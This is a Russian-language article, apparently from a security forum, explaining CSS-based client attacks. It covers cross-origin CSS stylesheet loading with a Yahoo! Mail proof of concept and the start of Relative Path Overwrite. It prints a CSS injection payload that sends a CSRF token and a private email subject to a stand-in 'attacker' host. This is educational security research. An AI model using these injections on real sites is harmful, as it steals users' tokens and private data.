CSS (Cascading Style Sheets) — язык разметки для оформления внешнего вида веб-страниц, отделяющий визуальное представление от содержания. Первая спецификация формата была опубликована организацией W3C в 1996 году. Тогда CSS позволял делать самые простые вещи: покрасить блок текста цветом, оформить текст курсивом, выравнять абзац, сделать рамку. Сегодня CSS стал настолько сложным, что для него создают фреймворки (bootstrap, jQuery UI) и метаязыки (SASS, SCSS, LESS), которые позволяют упростить написание стилей с помощью увеличения уровня абстракции CSS. Бурное развитие CSS привлекло внимание исследователей безопасности, что вылилось в ряд техник, позволяющих проводить атаки на клиента с целью украсть его персональные данные: CSRF-токены, историю посещений сайтов, списки email-контактов и т.д. Начнем обзор с классических векторов, которые еще не потеряли свою актуальность. Cross Origin CSS В 2009 году Крис Эванс (Chris Evans) опубликовал описание новой техники для извлечения приватной информации с произвольных сайтов в обход Same Origin Policy с помощью подгрузки целевой страницы атакуемого сайта как CSS-стиля. Чтобы проиллюстрировать суть данной техники, рассмотрим шаги для воспроизведения proof-of-concept для Yahoo! Mail: 1. атакующий отправляет жертве письмо с темой ');} 2. проходит некоторое время, жертве приходят новые письма 3. атакующий отправляет еще одно письмо с темой {}body{background:url(‘//attacker/?a= и текстом сообщения, который призывает кликнуть на ссылку, ведущую на сайт атакующего. По ссылке страница, которая подгружает главную страницу Yahoo! Mail со списком писем как CSS-стиль: Код: <link type='text/css' rel='stylesheet' href='https://m.yahoo.com/mail' /> Важно отметить, что CSS-парсеры в браузерах крайне толерантны к невалидному синтаксису, поэтому среди HTML-тэгов будет распознано валидное CSS-правило: Код: {}body{background:url('//attacker/?a=%3C/a%3E%3Cbr/%3E%3Cspan%20class=%22j%22%3EChris%20Evans%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3Ca%20href=%22/p/mail/messageDetail?fid=Inbox&mid=1_3493_AGvHtEQAAWFgSgIzgAlWYQXHqDY&3=q%22%3ESuper%20sensitive%20subject%3C/a%3E%3Cbr/%3E%3Cspan%20class=%22j%22%3EChris%20Evans%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3Ca%20href=%22/p/mail/messageDetail?fid=Inbox&mid=1_3933_AGTHtEQAAM%2FHSgIzawpE8Fwm1%2FI&5=x%22%3E');} Таким образом, текст в теме двух писем атакующего сформировало валидное CSS-правило, а между письмами оказался кусок HTML-кода, в котором присутствует CSRF-токен (параметр mid) и заголовок другого секретного письма. Вся эта информация отправляется на сайт атакующего с помощью CSS-свойства background и указания внешнего адреса картинки для фона. На тот момент главным ограничением атаки было обязательное наличие двух мест для внедрения произвольного текста, а также отсутствие переносов строк между ними, так как это допускается только в Internet Explorer 8 и ниже. Сейчас же это и вовсе не будет работать, так как все известные браузеры впоследствии перестали разрешать подгрузку стилей со сторонних сайтов, если в ответе явно не указан Content-Type text/css. Однако в пределах того же сайта Content-Type будет игнорироваться, если в ответе сервера при запросе CSS-стиля отсутствует заголовок X-Content-Type-Options со значением nosniff, который запрещает content sniffing, т.е. автоматическое определение типа содержимого по его структуре. Эта особенность вкупе со следующей техникой делает данный механизм атаки все еще актуальным. Relative Path Overwrite Автором атаки Relative Path Overwrite является Гарет Хейс (Gareth Heyes), чье исследование вдохнуло новую жизнь в старые CSS-вектора. Для реализации атаки RPO на сайте необходимо наличие относительных путей для подгрузки стилей: Код: <link href="styles/style.css" rel="stylesheet" type="text/css"/> Например, если текущий адрес /news.php, то браузер отправит запрос на /styles/style.css. Однако если к текущему адресу добавить «/», то запрос уйдет на news.php/styles/style.css, так как для браузера такой URI (/news.php/) будет означать директорию. Но он ничего не знает о серверной стороне. Дело в том, что для PHP, .NET, JSP и многих фреймворков обращение по пути вида existing.app/anything/here вместо возврата ошибки 404 будет вызываться existing.app. Таким образом, добавив к пути «/», у атакующего появляется возможность подгрузить текущую HTML-страницу как CSS-стиль в пределах того же домена. Здесь необходимо остановиться на важном условии: для исходной HTML-страницы должен быть объявлен так называемый режим совместимости (quirks mode), при котором различные ошибки, в том числе неправильный Content-Type при подгрузке CSS-стиля, будут игнорироваться. Для этого в начале HTML-документа должна быть следующая строка: Код: 1 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> На режим совместимости указывает ключевое словое transitional. Режим соблюдения стандартов (strict или standards mode) объявляется следующим образом: Код: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Strict//EN"> Или для HTML5 просто: Код: <!DOCTYPE html> Если тип документа не объявлен, по умолчанию будет использоваться режим совместимости. Таким образом, если атакующий может добавить свой текст в содержимое страницы, которая подгружает CSS-стили, используя относительные пути, у него появляется возможность внедрить свои CSS-правила. Самым удачным случаем является вывод текущего URI в содержимое страницы, например: Код: <link rel="stylesheet" href="<?php echo $_SERVER['PHP_SELF']; ?>/../styles.css">